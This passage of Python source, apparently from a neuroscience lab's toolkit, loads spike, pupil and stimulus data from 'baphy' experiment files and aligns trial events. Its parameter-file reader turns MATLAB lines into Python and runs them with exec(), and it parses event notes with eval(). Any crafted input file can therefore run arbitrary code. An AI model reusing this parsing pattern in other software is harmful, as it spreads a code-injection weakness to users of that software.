in enumerate(cellids):\n        d=db.get_batch_cell_data(batch,cid,rawid=rawid)\n        respfile=nu.baphy.spike_cache_filename2(d['raster'],parms)\n        for j, rf in enumerate(respfile):\n            rts=nu.io.load_matlab_matrix(rf,key=\"r\")\n            \n            if i == 0:\n                if '_a_' in rf:\n                    a_p = a_p+[1]*rts.shape[1]\n                else:\n                    a_p = a_p+[0]*rts.shape[1]\n            \n            if j == 0:\n                rt = rts;\n            else:\n                rt = np.concatenate((rt,rts),axis=1)\n        if i == 0:\n            r = np.empty((rt.shape[0],rt.shape[1],rt.shape[2],cellcount))\n            r[:,:,:,0]=rt;\n        else:\n            r[:,:,:,i]=rt;\n\n    if active_passive is 'a':\n        r = r[:,np.array(a_p)==1,:,:]\n    elif active_passive is 'p':\n        r = r[:,np.array(a_p)==0,:,:];\n        \n    return r, cfd\n\ndef load_pup_raster(batch, site, options,runclass=None,rawid=None):\n    '''\n    Load a pupil raster given batch id, runclass, recording site, and options\n    \n    Input:\n    -------------------------------------------------------------------------\n    batch ex: batch=301\n    runclass ex: runclass='PTD'\n    recording site ex: site='TAR010c'\n    \n    options: dict\n        rasterfs (float), default: 100\n        includeprestim (boolean), default: 1\n        tag_masks (list of strings), default [], ex: ['Reference']        \n        active_passive (string), default: 'both' ex: 'p' or 'a'\n    \n        **** other pupil options to be implemented ****    \n    \n    Output:\n    -------------------------------------------------------------------------\n    p (numpy array), response matrix (bin x reps x stim)\n           \n    '''\n\n    try: options['rasterfs'];\n    except: options['rasterfs']=100;\n    \n    try: options['includeprestim'];\n    except: options['includeprestim']=1;\n    \n    try: options['tag_masks'];\n    except: pass\n    \n    try: active_passive = options['active_passive'];\n    except: active_passive='both';\n    \n    try: derivative=options['derivative'];\n    except: derivative=False;\n\n    \n    options['pupil']=1;\n\n    d=db.get_batch_cell_data(batch,rawid=rawid)\n    files = []\n    for f in d['pupil'].unique():\n        f = f.split('.')[0]\n        if f is None: \n            pass\n        elif runclass is not None:\n            if runclass in f and site in f:\n                files.append(f)\n        else:\n            if site in f:\n                files.append(f)\n    \n    files = pd.Series(files)\n    \n\n    pupfile=nu.baphy.pupil_cache_filename2(files,options)\n    a_p = []\n    for j, rf in enumerate(pupfile):\n        \n        pts=nu.io.load_matlab_matrix(pupfile.iloc[j],key='r')\n        \n        if '_a_' in rf:\n            a_p = a_p+[1]*pts.shape[1]\n        else:\n            a_p = a_p+[0]*pts.shape[1]\n        \n        if j == 0:\n            p = pts;\n        else:\n            p = np.concatenate((p,pts),axis=1)\n\n    if active_passive is 'a':\n        p = p[:,np.array(a_p)==1,:]\n    elif active_passive is 'p':\n        p = p[:,np.array(a_p)==0,:] \n    \n    return p\n\n\n\"\"\" FROM HERE DOWN IS NEW SUPPORT FOR LOADING DIRECTLY FROM NATIVE\n    BAPHY FILES\n    \"\"\"\n    \ndef baphy_mat2py(s):\n    \n    s3=re.sub(r';', r'', s.rstrip())\n    s3=re.sub(r'%',r'#',s3)\n    s3=re.sub(r'\\\\',r'/',s3)\n    s3=re.sub(r\"\\.([a-zA-Z0-9]+)'\",r\"XX\\g<1>'\",s3)\n    s3=re.sub(r\"\\.([a-zA-Z0-9]+) ,\",r\"XX\\g<1> ,\",s3)\n    s3=re.sub(r'globalparams\\(1\\)',r'globalparams',s3)\n    s3=re.sub(r'exptparams\\(1\\)',r'exptparams',s3)\n              \n    s4=re.sub(r'\\(([0-9]*)\\)', r'[\\g<1>]', s3)\n    \n    s5=re.sub(r'\\.([A-Za-z][A-Za-z1-9_]+)', r\"['\\g<1>']\", s4)\n    \n    s6=re.sub(r'([0-9]+) ', r\"\\g<0>,\", s5)\n    s6=re.sub(r'NaN ', r\"np.nan,\", s6)\n    \n    s7=re.sub(r\"XX([a-zA-Z0-9]+)'\",r\".\\g<1>'\",s6)\n    s7=re.sub(r\"XX([a-zA-Z0-9]+) ,\",r\".\\g<1> ,\",s7)\n    s7=re.sub(r',,',r',',s7)\n    s7=re.sub(r',Hz',r'Hz',s7)\n    s7=re.sub(r'NaN',r'np.nan',s7)\n    s7=re.sub(r'zeros\\(([0-9,]+)\\)',r'np.zeros([\\g<1>])',s7)\n    s7=re.sub(r'{(.*)}',r'[\\g<1>]',s7)\n    \n    return s7\n\ndef baphy_parm_read(filepath):\n    \n    try:\n        f = io.open(filepath, \"r\")\n    except:\n        filepath=filepath+\".m\"\n        f = io.open(filepath, \"r\")\n    s=f.readlines(-1)\n    \n    globalparams={}\n    exptparams={}\n    exptevents={}\n    \n    for ts in s:\n        sout=baphy_mat2py(ts)\n        #print(sout)\n        try:\n            exec(sout)\n        except KeyError:\n            ts1=sout.split('= [')\n            ts1=ts1[0].split(',[')\n            \n            s1=ts1[0].split('[')\n            sout1=\"[\".join(s1[:-1]) + ' = {}'\n            try: \n                exec(sout1)\n            except :\n                s2=sout1.split('[')\n                sout2=\"[\".join(s2[:-1]) + ' = {}'\n                exec(sout2)\n                exec(sout1)\n            exec(sout)\n        except NameError:\n            print(\"NameError on: {0}\".format(sout))\n        except:\n            print(\"Other error on: {0} to {1}\".format(ts,sout))\n\n    # special conversions\n    \n    # convert exptevents to a DataFrame:\n    t=[exptevents[k] for k in exptevents]\n    d=pd.DataFrame(t)\n    exptevents=d.drop(['Rove'],axis=1)\n    for i in range(0,len(exptevents)):\n        if exptevents.loc[i,'StopTime'] == []:\n            exptevents.loc[i,'StopTime']=exptevents.loc[i,'StartTime']\n    \n    return globalparams, exptparams, exptevents\n\ndef baphy_load_specgram(stimfilepath):\n    \n    matdata = scipy.io.loadmat(stimfilepath, chars_as_strings=True)\n\n    stim=matdata['stim']\n    \n    stimparam=matdata['stimparam'][0][0]\n    \n    try:\n        # case 1: loadstimfrombaphy format\n        # remove redundant tags from tag list and stimulus array\n        d=matdata['stimparam'][0][0][0][0]\n        d=[x[0] for x in d]\n        tags,tagids=np.unique(d, return_index=True)\n        \n        stim=stim[:,:,tagids]\n    except:\n        # loadstimbytrial format. don't want to filter by unique tags.\n        # field names within stimparam don't seem to be preserved in this load format??\n        d=matdata['stimparam'][0][0][2][0]\n        tags=[x[0] for x in d]\n            \n    return stim,tags,stimparam\n\n\ndef baphy_stim_cachefile(exptparams,options,parmfilepath=None):\n    \"\"\"\n    generate cache filename generated by loadstimfrombaphy\n    \n    code adapted from loadstimfrombaphy.m\n    \"\"\"\n    \n    if 'truncatetargets' not in options:\n        options['truncatetargets']=1\n    if 'pertrial' not in options:\n        options['pertrial']=False\n    if options['pertrial']:\n        # loadstimbytrial cache filename format\n        pp,bb=os.path.split(parmfilepath)\n        bb=bb.split(\".\")[0]\n        dstr=\"loadstimbytrial_{0}_ff{1}_fs{2}_cc{3}_trunc{4}.mat\".format(\n             bb,options['stimfmt'],options['rasterfs'],\n             options['chancount'],options['truncatetargets'])\n        return stim_cache_dir + dstr\n\n    # otherwise use standard load stim from baphy format\n    RefObject=exptparams['TrialObject'][1]['ReferenceHandle'][1]\n    \n    dstr=RefObject['descriptor']\n    if dstr=='Torc':\n        if 'RunClass' in exptparams['TrialObject'][1].keys():\n            dstr=dstr+'-'+exptparams['TrialObject'][1]['RunClass'];\n        else:\n            dstr=dstr+'-TOR'\n    \n    # include all parameter values, even defaults, in filename\n    fields=RefObject['UserDefinableFields']        \n    for cnt1 in range(0,len(fields),3):\n        dstr=\"{0}-{1}\".format(dstr,RefObject[fields[cnt1]])\n    \n    dstr=re.sub(r\":\",r\"\",dstr)\n\n    if 'OveralldB' in exptparams['TrialObject'][1]:\n        OveralldB=exptparams['TrialObject'][1]['OveralldB']\n        dstr=dstr + \"-{0}dB\".format(OveralldB)\n    else:\n        OveralldB=0\n    \n    dstr=dstr+\"-{0}-fs{1}-ch{2}\".format(options['stimfmt'],options['rasterfs'],options['chancount'])\n    \n    if options['includeprestim']:\n        dstr=dstr+'-incps1'\n        \n    dstr=re.sub(r\"[ ,]\",r\"_\",dstr)\n    dstr=re.sub(r\"[\\[\\]]\",r\"\",dstr)\n\n    return stim_cache_dir + dstr + '.mat'\n    \n\ndef baphy_load_spike_data_raw(spkfilepath,channel=None,unit=None):\n    \n    matdata = scipy.io.loadmat(spkfilepath)#, chars_as_strings=True)\n\n    sortinfo=matdata['sortinfo']\n    if sortinfo.shape[0]>1:\n        sortinfo=sortinfo.T\n    sortinfo=sortinfo[0]\n    \n    # figure out sampling rate, used to convert spike times into seconds\n    spikefs=matdata['rate'][0][0]\n        \n    return sortinfo,spikefs\n\n\ndef baphy_align_time(exptevents,sortinfo,spikefs):\n    \n    # number of channels in recording (not all necessarily contain spikes)\n    chancount=len(sortinfo)\n    \n    # figure out how long each trial is by the time of the last spike count.\n    # this method is a hack! but since recordings are longer than the \"official\"\n    # trial end time reported by baphy, this method preserves extra spikes\n    TrialCount=np.max(exptevents['Trial'])\n    \n    TrialLen_sec=np.array(exptevents.loc[exptevents['Note']==\"TRIALSTOP\"]['StartTime'])\n    TrialLen_spikefs=np.concatenate((np.zeros([1,1]),TrialLen_sec[:,np.newaxis]*spikefs),axis=0)\n        \n    for c in range(0,chancount):\n        if sortinfo[c][0].size:\n            s=sortinfo[c][0][0]['unitSpikes']\n            s=np.reshape(s,(-1,1))\n            unitcount=s.shape[0]\n            for u in range(0,unitcount):\n                st=s[u,0]\n                \n                print('chan {0} unit {1}: {2} spikes'.format(c,u,st.shape[1]))\n                for trialidx in range(1,TrialCount+1):\n                    ff=(st[0,:]==trialidx)\n                    if np.sum(ff):\n                        utrial_spikefs=np.max(st[1,ff])\n                        TrialLen_spikefs[trialidx,0]=np.max([utrial_spikefs,TrialLen_spikefs[trialidx,0]])\n    \n    # using the trial lengths, figure out adjustments to trial event times. \n    Offset_spikefs=np.cumsum(TrialLen_spikefs)\n    Offset_sec=Offset_spikefs / spikefs  # how much to offset each trial\n    \n    # adjust times in exptevents to approximate time since experiment started\n    # rather than time since trial started (native format)\n    for Trialidx in range(1,TrialCount+1):\n        print(\"Adjusting trial {0} by {1} sec\".format(Trialidx,Offset_sec[Trialidx-1]))\n        ff= (exptevents['Trial'] == Trialidx)\n        exptevents.loc[ff,['StartTime','StopTime']]=exptevents.loc[ff,['StartTime','StopTime']]+Offset_sec[Trialidx-1]\n\n        #ff= (exptevents['Trial'] == Trialidx) & (exptevents['StopTime'] > Offset_sec[Trialidx])        \n        #badevents,=np.where(ff)\n        #print(\"{0} events past end of trial?\".format(len(badevents)))\n        #exptevents.drop(badevents)\n    \n    \n    # convert spike times from samples since trial started to\n    # (approximate) seconds since experiment started (matched to exptevents)\n    totalunits=0\n    spiketimes=[]  # list of spike event times for each unit in this recording\n    unit_names=[]  # string suffix for each unit (CC-U)\n    chan_names=['a','b','c','d','e','f','g','h']\n    for c in range(0,chancount):\n        if sortinfo[c][0].size:\n            s=sortinfo[c][0][0]['unitSpikes']\n            comment=sortinfo[c][0][0][0][0][2][0]\n            s=np.reshape(s,(-1,1))\n            unitcount=s.shape[0]\n            for u in range(0,unitcount):\n                st=s[u,0]\n                uniquetrials=np.unique(st[0,:])\n                print('chan {0} unit {1}: {2} spikes {3} trials'.format(c,u,st.shape[1],len(uniquetrials)))\n                \n                unit_spike_events=np.array([])\n                for trialidx in uniquetrials:\n                    ff=(st[0,:]==trialidx)\n                    this_spike_events=st[1,ff]+Offset_spikefs[np.int(trialidx-1)]\n                    if comment=='PC-cluster sorted by mespca.m':\n                        # remove last spike, which is stray\n                        this_spike_events=this_spike_events[:-1]\n                    unit_spike_events=np.concatenate((unit_spike_events,this_spike_events),axis=0)\n                    #print(\"   trial {0} first spike bin {1}\".format(trialidx,st[1,ff]))\n                \n                totalunits+=1\n                if chancount<=8:\n                    unit_names.append(\"{0}{1}\".format(chan_names[c],u+1))\n                else:\n                    unit_names.append(\"{0:02d}-{1}\".format(c+1,u+1))\n                spiketimes.append(unit_spike_events / spikefs)\n    \n    return exptevents,spiketimes,unit_names    \n \n\ndef baphy_load_pupil_trace(pupilfilepath,exptevents,options={}):\n    \"\"\" returns big_rs which is pupil trace resampled to options['rasterfs']\n        and strialidx, which is the index into big_rs for the start of each\n        trial. need to make sure the big_rs vector aligns with the other signals\n    \"\"\"\n    \n    rasterfs = options.get('rasterfs', 1000)\n    pupil_offset = options.get('pupil_offset', 0.75)\n    pupil_deblink = options.get('pupil_deblink',True)\n    pupil_median = options.get('pupil_median',0)\n    pupil_smooth = options.get('pupil_smooth',0)\n    pupil_highpass = options.get('pupil_highpass',0)\n    pupil_lowpass = options.get('pupil_lowpass',0)\n    pupil_bandpass = options.get('pupil_bandpass',0)\n    pupil_derivative = options.get('pupil_derivative','')\n    pupil_mm = options.get('pupil_mm',False)\n    verbose = options.get('verbose', False)\n        \n    if pupil_smooth:\n        raise ValueError('pupil_smooth not implemented. try pupil_median?')\n    if pupil_highpass:\n        raise ValueError('pupil_highpass not implemented.')\n    if pupil_lowpass:\n        raise ValueError('pupil_lowpass not implemented.')\n    if pupil_bandpass:\n        raise ValueError('pupil_bandpass not implemented.')\n    if pupil_derivative:\n        raise ValueError('pupil_derivative not implemented.')\n    if pupil_mm:\n        raise ValueError('pupil_mm not implemented.')\n        \n    matdata = scipy.io.loadmat(pupilfilepath)\n    \n    p=matdata['pupil_data']\n    params=p['params']\n    if 'pupil_variable_name' not in options:\n        options['pupil_variable_name']=params[0][0]['default_var'][0][0][0]\n    if 'pupil_algorithm' not in options:\n        options['pupil_algorithm']=params[0][0]['default'][0][0][0]\n    \n    results=p['results'][0][0][-1][options['pupil_algorithm']]\n    pupil_diameter=np.array(results[0][options['pupil_variable_name']][0][0])\n    \n    fs_approximate = 10  # approx video framerate\n    if pupil_deblink:\n        dp = np.abs(np.diff(pupil_diameter,axis=0))\n        blink = np.zeros(dp.shape)\n        blink[dp > np.mean(dp) + 6*np.std(dp)]= 1\n        box=np.ones([fs_approximate])/(fs_approximate)\n        blink=np.convolve(blink[:,0],box,mode='same')\n        onidx,=np.where(np.diff(blink) > 0)\n        offidx,=np.where(np.diff(blink) < 0)\n        if len(onidx)>len(offidx):\n            offidx=np.concatenate((offidx,np.array([len(blink)])))\n        deblinked = pupil_diameter.copy()\n        for i,x1 in enumerate(onidx):\n            x2 = offidx[i]\n            #print([i,x1,x2])\n            deblinked[x1:x2,0] = np.linspace(deblinked[x1], deblinked[x2-1], x2-x1)\n            \n        if verbose:\n            plt.figure()\n            plt.plot(pupil_diameter)\n            plt.plot(deblinked)\n            plt.xlabel('Frame')\n            plt.ylabel('Pupil')\n            plt.legend('Raw', 'Deblinked')\n            plt.title(\"Artifacts detected: {}\".format(len(onidx)))\n        pupil_diameter=deblinked\n    \n    #\n    # resample and remove dropped frames\n    \n    #find and parse pupil events\n    pp = ['PUPIL,' in x['Note'] for i,x in exptevents.iterrows()]\n    trials=list(exptevents.loc[pp,'Trial'])\n    ntrials=len(trials)\n    timestamp=np.zeros([ntrials+1])\n    firstframe=np.zeros([ntrials+1])\n    for i,x in exptevents.loc[pp].iterrows():\n        t=x['Trial']-1\n        s=x['Note'].split(\",[\")\n        p=eval(\"[\"+s[1])\n        #print(\"{0} p=[{1}\".format(i,s[1]))\n        timestamp[t]=p[0]\n        firstframe[t]=int(p[1])\n    pp = ['PUPILSTOP' in x['Note'] for i,x in exptevents.iterrows()]\n    lastidx=np.argwhere(pp)[-1]\n    \n    s=exptevents.iloc[lastidx[0]]['Note'].split(\",[\")\n    p=eval(\"[\"+s[1])\n    timestamp[-1]=p[0]\n    firstframe[-1]=int(p[1])\n   \n    \n    # align pupil with other events, probably by removing extra bins from between trials\n    ff= (exptevents['Note'] == 'TRIALSTART')\n    start_events=exptevents.loc[ff,['StartTime']].reset_index()\n    start_events['StartBin']=(np.round(start_events['StartTime']*options['rasterfs'])).astype(int)\n    start_e=list(start_events['StartBin'])\n    \n    \n    #calculate frame count and duration of each trial\n    duration = np.diff(timestamp) * 24*60*60\n    frame_count = np.diff(firstframe)\n    \n    # warp/resample each trial to compensate for dropped frames\n    strialidx=np.zeros([ntrials+1])\n    big_rs=np.array([])\n    \n    for ii in range(0,ntrials):\n        d=pupil_diameter[int(firstframe[ii]):int(firstframe[ii]+frame_count[ii]),0]\n        fs = frame_count[ii]/duration[ii]\n        t = np.arange(0,len(d))/fs\n        ti = np.arange((1/rasterfs)/2, duration[ii]+(1/rasterfs)/2, 1/rasterfs)\n        #print(\"{0} len(d)={1} len(ti)={2} fs={3}\".format(ii,len(d),len(ti),fs))\n        di=np.interp(ti, t, d)\n        big_rs=np.concatenate((big_rs,di),axis=0)\n        if ii<ntrials-1 and len(big_rs)>start_e[ii+1]:\n            big_rs=big_rs[:start_e[ii+1]]\n        strialidx[ii+1]=len(big_rs)\n    \n    if pupil_median:\n        kernel_size=int(round(pupil_median*rasterfs/2)*2+1)\n        big_rs=scipy.signal.medfilt(big_rs, kernel_size=kernel_size)\n        \n    # shift pupil trace by offset, usually 0.75 sec\n    offset_frames=int(pupil_offset*rasterfs)\n    big_rs=np.roll(big_rs,-offset_frames)\n    big_rs[-offset_frames:]=np.nan\n    \n    return big_rs,strialidx\n    \n\ndef baphy_load_data(parmfilepath,options={}):\n\n    \"\"\"\n    this feeds into baphy_load_recording and baphy_load_recording_RDT (see\n        below)\n    input:\n        parmfilepath: baphy parameter file\n        options: dictionary of loading options\n        \n    current outputs:\n        exptevents: pandas dataframe with one row per event. times in sec\n              since experiment began\n        spiketimes: list of lists. outer list indicates unit, inner list is\n              the set of spike times (secs since expt started) for that unit\n        unit_names: list of strings uniquely identifier each units by\n              channel-unitnum (CC-U). can append to siteid- to get cellid\n        stim: [channel X time X event] stimulus (spectrogram) matrix\n        tags: list of string identifiers associate with each stim event\n              (can be used to find events in exptevents)\n              \n    other things that could be returned:\n        globalparams, exptparams: dictionaries with expt metadata from baphy\n        \n    \"\"\"\n    #default_options={'rasterfs':100, 'includeprestim':True, \n    #                 'stimfmt':'ozgf', 'chancount':18,\n    #                 'cellid': 'all'}\n    #options=options.update(default_options)\n    \n    print(options)\n    options['pupil'] = options.get('pupil',False)\n    \n    # add .m extension if missing\n    if parmfilepath[-2:]!=\".m\":\n        parmfilepath=parmfilepath+\".m\"\n    # load parameter file\n    globalparams, exptparams, exptevents = baphy_parm_read(parmfilepath)\n    \n    # TODO: use paths that match LBHB filesystem? new s3 filesystem?\n    #       or make s3 match LBHB?\n    \n    # figure out stimulus cachefile to load\n    pp,bb=os.path.split(parmfilepath)\n    \n    stimfilepath=baphy_stim_cachefile(exptparams,options,parmfilepath)\n    print(\"Cached stim: {0}\".format(stimfilepath))\n    # figure out spike file to load\n    spkfilepath=pp + '/' + spk_subdir + re.sub(r\"\\.m$\",\".spk.mat\",bb)\n    print(\"Spike file: {0}\".format(spkfilepath))\n    # figure out pupil file to load\n    \n    # load stimulus spectrogram\n    stim,tags,stimparam = baphy_load_specgram(stimfilepath)\n    \n    # load spike times\n    sortinfo,spikefs=baphy_load_spike_data_raw(spkfilepath)\n    \n    # adjust spike and event times to be in seconds since experiment started\n    exptevents,spiketimes,unit_names = baphy_align_time(exptevents,sortinfo,spikefs)\n    \n    # assign cellids to each unit\n    siteid=globalparams['SiteID']\n    unit_names=[siteid+\"-\"+x for x in unit_names]\n    print(unit_names)\n    # pull out a single cell if 'all' not specified\n    spike_dict={}\n    for i,x in enumerate(unit_names):\n        if x==options['cellid'] or options['cellid']=='all':\n            spike_dict[x]=spiketimes[i]\n            \n    state_dict={}\n    if options['pupil']:\n        pupilfilepath=re.sub(r\"\\.m$\",\".pup.mat\",parmfilepath)\n        pupiltrace,ptrialidx=baphy_load_pupil_trace(pupilfilepath,exptevents,options)                \n        state_dict['pupiltrace']=pupiltrace\n        \n    return exptevents, stim, spike_dict, state_dict, tags, stimparam, exptparams\n\n\ndef baphy_load_recording(parmfilepath,options={}):\n    \n    \"\"\"\n    this can be used to generate a recording object\n    \n    input:\n        parmfilepath: baphy parameter file\n        options: dictionary of loading options\n        \n    current outputs:\n        event_times: pandas dataframe with one row per event. times in sec\n              since experiment began\n        spike_dict: dictionary of lists. spike_dict[cellid] is the set of \n              spike times (secs since expt started) for that unit\n        stim_dict: stim_dict[epoch_name] is [channel X time] stimulus \n              (spectrogram) matrix, the times that the stimuli were played\n              are rows in the event_times dataframe\n    \n    TODO: support for pupil and behavior. branch out different functions for\n        different batches of analysis. (see RDT special case below)          \n    other things that could be returned:\n        globalparams, exptparams: dictionaries with expt metadata from baphy\n        \n    \"\"\"\n    # get the relatively un-pre-processed data\n    exptevents, stim, spike_dict, state_dict, tags, stimparam, exptparams = baphy_load_data(parmfilepath,options) \n    \n    # pre-process event list (event_times) to only contain useful events\n    \n    # extract each trial\n    print('Creating trial events')\n    tag_mask_start=\"TRIALSTART\"\n    tag_mask_stop=\"TRIALSTOP\"\n    ffstart=(exptevents['Note'] == tag_mask_start)\n    ffstop=(exptevents['Note'] == tag_mask_stop)\n    TrialCount=np.max(exptevents.loc[ffstart,'Trial'])\n    event_times=pd.concat([exptevents.loc[ffstart,['StartTime']].reset_index(), \n                          exptevents.loc[ffstop,['StopTime']].reset_index()], axis=1)\n    event_times['epoch_name']=\"TRIAL\"\n    event_times=event_times.drop(columns=['index'])\n    \n    # add event characterizing outcome of each behavioral \n    # trial (if behavior)\n    print('Creating trial outcome events')\n    note_map={'OUTCOME,FALSEALARM': 'FA_TRIAL',\n              'OUTCOME,MISS': 'MISS_TRIAL',\n              'BEHAVIOR,PUMPON,Pump': 'HIT_TRIAL'}\n    this_event_times=event_times.copy()\n    for trialidx in range(1,TrialCount+1):\n        ff=((exptevents['Note']=='OUTCOME,FALSEALARM') | \\\n            (exptevents['Note']=='OUTCOME,MISS') | \\\n            (exptevents['Note']=='BEHAVIOR,PUMPON,Pump')) & \\\n           (exptevents['Trial']==trialidx)\n        \n        for i,d in exptevents.loc[ff].iterrows():  \n            #print(\"{0}: {1} - {2} - {3}\".format(i,\n            #      d['Trial'],d['Note'],d['StopTime']))\n        \n            this_event_times.loc[trialidx-1,'epoch_name']= \\\n               note_map[d['Note']]\n    event_times=pd.concat([event_times, this_event_times])\n               \n    # remove events DURING or AFTER LICK\n    print('Removing post-response stimuli')\n    ff=(exptevents['Note']=='LICK')\n    keepevents=np.ones(len(exptevents))==1\n    for i,d in exptevents.loc[ff].iterrows():\n        trialidx=d['Trial']\n        starttime=d['StartTime']\n        fflate=(exptevents['StopTime'] > starttime) & \\\n          (exptevents['Trial']==trialidx) & \\\n          (exptevents['Note'].str.contains('Stim , '))\n        for i,d in exptevents.loc[fflate].iterrows():        \n            #print(\"{0}: {1} - {2} - {3}>{4}\".format(i,\n            #      d['Trial'],d['Note'],d['StopTime'],starttime))\n            # remove Pre- and PostStimSilence as well\n            keepevents[(i-1):(i+2)]=False\n                 \n    print(\"Keeping {0}/{1} events that precede responses\".format(\n            np.sum(keepevents),len(keepevents)))\n    exptevents=exptevents[keepevents].reset_index()\n\n    #ff=(exptevents['Trial']==3)\n    #exptevents.loc[ff]\n    \n    if 'pertrial' in options and options['pertrial']:\n        # NOT COMPLETE!\n        stim_dict={}\n        \n        # make stimulus events unique to each trial\n        this_event_times=event_times.copy()\n        for eventidx in range(0,TrialCount):\n            event_name=\"TRIAL{0}\".format(eventidx)\n            this_event_times.loc[eventidx,'epoch_name']=event_name\n            stim_dict[event_name]=stim[:,:,eventidx]\n        event_times=pd.concat([event_times, this_event_times])\n        \n    else:\n        stim_dict={}\n        \n        # generate stimulus events unique to each distinct stimulus\n        for eventidx in range(0,len(tags)):\n            \n            # save stimulus for this event as separate dictionary entry\n            stim_dict[tags[eventidx]]=stim[:,:,eventidx]\n            \n            # complicated experiment-specific part\n            tag_mask_start=\"PreStimSilence , \"+tags[eventidx]+\" , Reference\"\n            tag_mask_stop=\"PostStimSilence , \"+tags[eventidx]+\" , Reference\"\n            \n            ffstart=(exptevents['Note'] == tag_mask_start)\n            ffstop=(exptevents['Note'] == tag_mask_stop)\n            \n            # create intial list of stimulus events\n            this_event_times=pd.concat([exptevents.loc[ffstart,['StartTime']].reset_index(), \n                                  exptevents.loc[ffstop,['StopTime']].reset_index()], axis=1)\n            this_event_times=this_event_times.drop(columns=['index'])\n            this_event_times['epoch_name']=tags[eventidx]\n\n            # screen for conflicts with target events\n            keepevents=np.ones(len(this_event_times))==1\n            for i,d in this_event_times.iterrows():\n                f=(exptevents['StartTime']<d['StopTime']-0.001) & \\\n                  (exptevents['StopTime']>d['StartTime']+0.001) & \\\n                  (exptevents['Note'].str.contains('Target'))\n                ffid,=np.where(f)\n                for j in ffid:\n                    print(\"Stim (event {0}: {1:.2f}-{2:.2f} {3}\".format(eventidx,d['StartTime'],\n                          d['StopTime'],d['epoch_name']))\n                    print(\"??? But did it happen?  ? Conflicting target: {0}-{1} {2}\".format(exptevents['StartTime'][j],\n                          exptevents['StopTime'][j],exptevents['Note'][j]))\n                    keepevents[i]=False\n               \n            # create final list of these stimulus events\n            this_event_times=this_event_times[keepevents]\n            tff,=np.where(ffstart)\n            ffstart[tff[keepevents==False]]=False\n            tff,=np.where(ffstop)\n            ffstop[tff[keepevents==False]]=False\n\n            event_times=pd.concat([event_times, this_event_times])\n            \n            # generate list of corresponding pre/post events\n            this_event_times=pd.concat([exptevents.loc[ffstart,['StartTime']].reset_index(), \n                                  exptevents.loc[ffstart,['StopTime']].reset_index()], axis=1)\n            this_event_times=this_event_times.drop(columns=['index'])\n            this_event_times['epoch_name']='PreStimSilence'\n            \n            event_times=pd.concat([event_times, this_event_times])\n\n            this_event_times=pd.concat([exptevents.loc[ffstop,['StartTime']].reset_index(), \n                                  exptevents.loc[ffstop,['StopTime']].reset_index()], axis=1)\n            this_event_times=this_event_times.drop(columns=['index'])\n            this_event_times['epoch_name']='PostStimSilence'\n            \n            event_times=pd.concat([event_times, this_event_times])\n\n    # add behavior events\n    \n\n    # sort by when the event occured in experiment time            \n    event_times=event_times.sort_values(by=['StartTime','StopTime'], ascending=[1, 0]).reset_index()\n    event_times=event_times.drop(columns=['index'])\n    \n    return event_times, spike_dict, stim_dict, state_dict\n\n\ndef baphy_load_recording_RDT(parmfilepath,options={}):\n    \"\"\"\n    this can be used to generate a recording object for an RDT experiment\n        based largely on baphy_load_recording but with several additional\n        specialized outputs\n    \n    input:\n        parmfilepath: baphy parameter file\n        options: dictionary of loading options\n        \n    current outputs:\n        event_times: pandas dataframe with one row per event. times in sec\n              since experiment began\n        spike_dict: dictionary of lists. spike_dict[cellid] is the set of \n              spike times (secs since expt started) for that unit\n        stim_dict: stim_dict[epoch_name] is [channel X time] stimulus \n              (spectrogram) matrix, the times that the stimuli were played\n              are rows in the event_times dataframe\n        stim1_dict: same thing but for foreground stream only\n        stim2_dict: background stream\n        state_dict: dictionary of continuous Tx1 signals indicating \n           state_dict['repeating_phase']=when in repeating phase\n           state_dict['single_stream']=when trial is single stream\n           state_dict['targetid']=target id on the current trial\n    \n    TODO : merge back into general loading function ? Or keep separate?\n    \"\"\"\n    \n    # get the relatively un-pre-processed data\n    exptevents, stim, spike_dict, state_dict, tags, stimparam, exptparams = baphy_load_data(parmfilepath,options) \n    \n    # pre-process event list (event_times) to only contain useful events\n    \n    # extract each trial\n    tag_mask_start=\"TRIALSTART\"\n    tag_mask_stop=\"TRIALSTOP\"\n    ffstart=(exptevents['Note'] == tag_mask_start)\n    ffstop=(exptevents['Note'] == tag_mask_stop)\n    TrialCount=np.max(exptevents.loc[ffstart,'Trial'])\n    event_times=pd.concat([exptevents.loc[ffstart,['StartTime']].reset_index(), \n                          exptevents.loc[ffstop,['StopTime']].reset_index()], axis=1)\n    event_times['epoch_name']=\"TRIAL\"\n    event_times=event_times.drop(columns=['index'])\n    \n    stim_dict={}\n    stim1_dict={}\n    stim2_dict={}\n    \n    # make stimulus events unique to each trial\n    this_event_times=event_times.copy()\n    for eventidx in range(0,TrialCount):\n        event_name=\"TRIAL{0}\".format(eventidx)\n        this_event_times.loc[eventidx,'epoch_name']=event_name\n        stim1_dict[event_name]=stim[:,:,eventidx,0]\n        stim2_dict[event_name]=stim[:,:,eventidx,1]\n        stim_dict[event_name]=stim[:,:,eventidx,2]\n    event_times=pd.concat([event_times, this_event_times])\n    \n    # sort by when the event occured in experiment time            \n    event_times=event_times.sort_values(by=['StartTime','StopTime'])\n    \n    rasterfs=options['rasterfs']\n    BigStimMatrix=stimparam[-1]\n    state=np.zeros([3,stim.shape[1],stim.shape[2]])\n    single_stream_trials = (BigStimMatrix[0,1,:]==-1)\n    state[1,:,single_stream_trials]=1\n    prebins=int(exptparams['TrialObject'][1]['PreTrialSilence']*rasterfs)\n    samplebins=int(exptparams['TrialObject'][1]['ReferenceHandle'][1]['Duration']*rasterfs)\n    for trialidx in range(0,TrialCount):\n       rslot=np.argmax(np.diff(BigStimMatrix[:,0,trialidx])==0)+1\n       rbin=prebins+rslot*samplebins\n       state[0,rbin:,trialidx]=1\n       \n       tarslot=np.argmin(BigStimMatrix[:,0,trialidx]>0)-1\n       state[2,:,trialidx]=BigStimMatrix[tarslot,0,trialidx]\n\n    state_dict['repeating_phase']=np.reshape(state[0,:,:].T,[-1,1])\n    state_dict['single_stream']=np.reshape(state[0,:,:].T,[-1,1])\n    state_dict['targetid']=np.reshape(state[0,:,:].T,[-1,1])\n    \n    return event_times, spike_dict, stim_dict, state_dict, stim1_dict, stim2_dict\n\ndef spike_time_to_raster(spike_dict,fs=100,event_times=None):\n    \n    if event_times is not None:\n        maxtime=np.max(event_times[\"StopTime\"])\n        \n    maxbin=int(fs*maxtime)+1\n    unitcount=len(spike_dict.keys())\n    raster=np.zeros([unitcount,maxbin])\n    \n    cellids=sorted(spike_dict)\n    for i,key in enumerate(cellids):\n        for t in spike_dict[key]:\n            if t<maxtime:\n                raster[i,int(np.floor(t*fs))]+=1\n    \n    return 